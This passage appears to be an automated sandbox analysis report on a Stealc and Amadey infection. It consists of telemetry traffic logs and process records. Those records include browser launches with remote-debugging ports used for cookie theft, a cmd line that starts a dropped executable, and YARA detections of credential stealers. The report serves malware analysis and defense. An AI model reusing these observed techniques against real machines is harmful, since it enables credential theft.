2024-12-06 21:09:24 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:23 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:24 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0c26b312-d01e-0049-6f07-48e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210924Z-r1cf579d778t6txphC1EWRsd4400000000w000000000a8p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:24 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:24 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:24 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 4e6b370c-601e-0002-73c7-46a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210924Z-1746fd949bdtlp5chC1EWRq1v400000004p000000000n9cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:25 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:25 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:26 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: d011e298-d01e-0066-630e-48ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210925Z-r1cf579d778mvsklhC1EWRkavg00000000sg000000002eb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:25 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: b8fa7c57-101e-008e-1803-48cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210925Z-r1cf579d778kr8xrhC1EWRfkun00000000z0000000001xty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:25 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:26 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: ffaa01a2-b01e-0053-71d2-45cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210926Z-1746fd949bdlnsqphC1EWRurw000000004f00000000122vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:26 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:26 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:26 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 00b569ce-a01e-000d-31cc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210926Z-1746fd949bd6zq92hC1EWRry4800000004p000000000py3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:26 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:26 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:26 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 09209696-a01e-0021-6305-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210926Z-r1cf579d7789trgthC1EWRkkfc000000012g00000000a2sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:27 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:27 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:28 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 1dc1a106-201e-003f-0903-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210928Z-r1cf579d778kr8xrhC1EWRfkun00000000yg000000002xhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:28 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Target ID:	5
Start time:	16:08:10
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x230000
File size:	5'192'704 bytes
MD5 hash:	2078ABA4B222E2F98BA15DD2D129815A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.1882889990.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:08:23
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:08:24
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2176,i,4764351343650713281,6497553949614997489,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:05:24
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:05:24
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2308,i,12718116921398558821,8893583066330882150,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:05:24
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:05:25
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2028,i,7342813088449255443,16590771341194468237,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:05:58
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:05:58
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:05:58
Start date:	06/12/2024
Path:	C:\Users\user\Documents\EBAEBFIIEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\EBAEBFIIEC.exe"
Imagebase:	0xde0000
File size:	3'206'144 bytes
MD5 hash:	52B7DBCCDE53A06FE0163EFA59E1C0E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.1917955793.0000000000DE1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:06:02
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x8c0000
File size:	3'206'144 bytes
MD5 hash:	52B7DBCCDE53A06FE0163EFA59E1C0E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1965098690.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:06:03
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8c0000
File size:	3'206'144 bytes
MD5 hash:	52B7DBCCDE53A06FE0163EFA59E1C0E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.1972888927.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:07:00
Start date:	06/12/2024
